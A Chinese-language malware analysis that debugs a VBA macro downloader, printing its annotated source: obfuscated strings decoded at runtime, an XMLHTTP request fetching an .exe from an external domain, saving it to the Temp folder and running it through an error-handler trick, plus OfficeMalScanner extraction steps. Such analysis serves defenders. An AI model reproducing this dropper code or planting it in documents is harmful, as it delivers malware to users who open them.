• 樣本HASH值：b5ee8925742637a8484f6e1cb08a1c989cb4a8f9e66a8179c929dd789c07c06d

(2) 調試過程

樣本是從某平台上看到的文章《一款流行的VBA宏病毒技術分析》根據IOC搜索出來的

• 思路：

程序主函數->調用的對象->網絡行為->文件行為

• 主函數

ThisDocument 模塊下的 autoopen() 函數。

主函數
Sub autoopen()

' 傳了個數值
VEeve (8.2)

End Sub

' 調用函數
Sub VEeve(FFFFF As Long)

' 調用病毒主函數
LWS8UPvw1QGKq

End Sub

• 病毒主函數代碼分析

進入LWS8UPvw1QGKq函數，F8單步跟蹤。

• • 網絡行為主要實現

通過關鍵函數調試，使用Debug.Print輸出的加密函數內容。

' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

Debug.Print Now & " : " & Nrh1INh1S5hGed  '輸出加密字符串內容

' 進入解密函數，創建了對象 Microsoft.XMLHTTP
Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")

' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")

'  下載文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False

加密函數lLJrFk6pKsSYJ：

其中各種亂序的字符串會調用lLJrFk6pKsSYJ函數做解密函數使用，目的是為了將< = ;這些符號替換成空。

使用Debug.Print就可以輸出每次被替換出來的真實內容。

' 解密函數
Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String)

' 替換 60 <    61  =   59 ;
L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")

' 獲取每次解密后的內容
Debug.Print Now & " : " & L9QLFPTuZDwM

' 這個函數會將加密后的字符串解密，然后創建對象的實例
Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM)

End Function

• • 運行文件實現

'  通過對象下載文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False


' vu2Wh85645xcP0 = 創建WScript.Shell對象實例
Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))

'  WScript.Shell "Environment" Process
Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")

' "C:\Users\USER\AppData\Local\Temp"
SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))

' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)

Dim bvGEpxCVsZ() As Byte

' http  send
CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
' "responseBody"
bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
' 保存文件
FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
On Error GoTo OhXhZLRKh
    a = 84 / 0
  On Error GoTo 0
  
' 退出函數
xrIvr6mOXvFG:
  Exit Sub
' 進入
OhXhZLRKh:
  ' 執行命令函數
  ENMD3t8EY4A ("UfBPGay4VPJi")
Resume xrIvr6mOXvFG
End Sub

完整函數代碼：

'病毒主函數
Sub LWS8UPvw1QGKq()

' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

Debug.Print Now & " : " & Nrh1INh1S5hGed

' 進入解密函數，創建了對象 Microsoft.XMLHTTP
Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")

' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")

'  通過對象下載文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False


' vu2Wh85645xcP0 = 創建WScript.Shell對象實例
Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))

'  WScript.Shell "Environment" Process
Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")

' "C:\Users\USER\AppData\Local\Temp"
SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))

' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)

Dim bvGEpxCVsZ() As Byte

' http  send
CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
' "responseBody"
bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
' 保存文件
FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
On Error GoTo OhXhZLRKh
    a = 84 / 0
  On Error GoTo 0
  
' 退出函數
xrIvr6mOXvFG:
  Exit Sub
' 進入
OhXhZLRKh:
  ' 執行命令函數
  ENMD3t8EY4A ("UfBPGay4VPJi")
Resume xrIvr6mOXvFG
End Sub

(3) 工具提取宏

使用 OfficeMalScanner,可以將宏導出來以便分析。

• 1、解壓文檔文件

OfficeMalScanner.exe 宏病毒文檔.docm inflate

• 2、提取宏代碼

OfficeMalScanner.exe vbaProject.bin info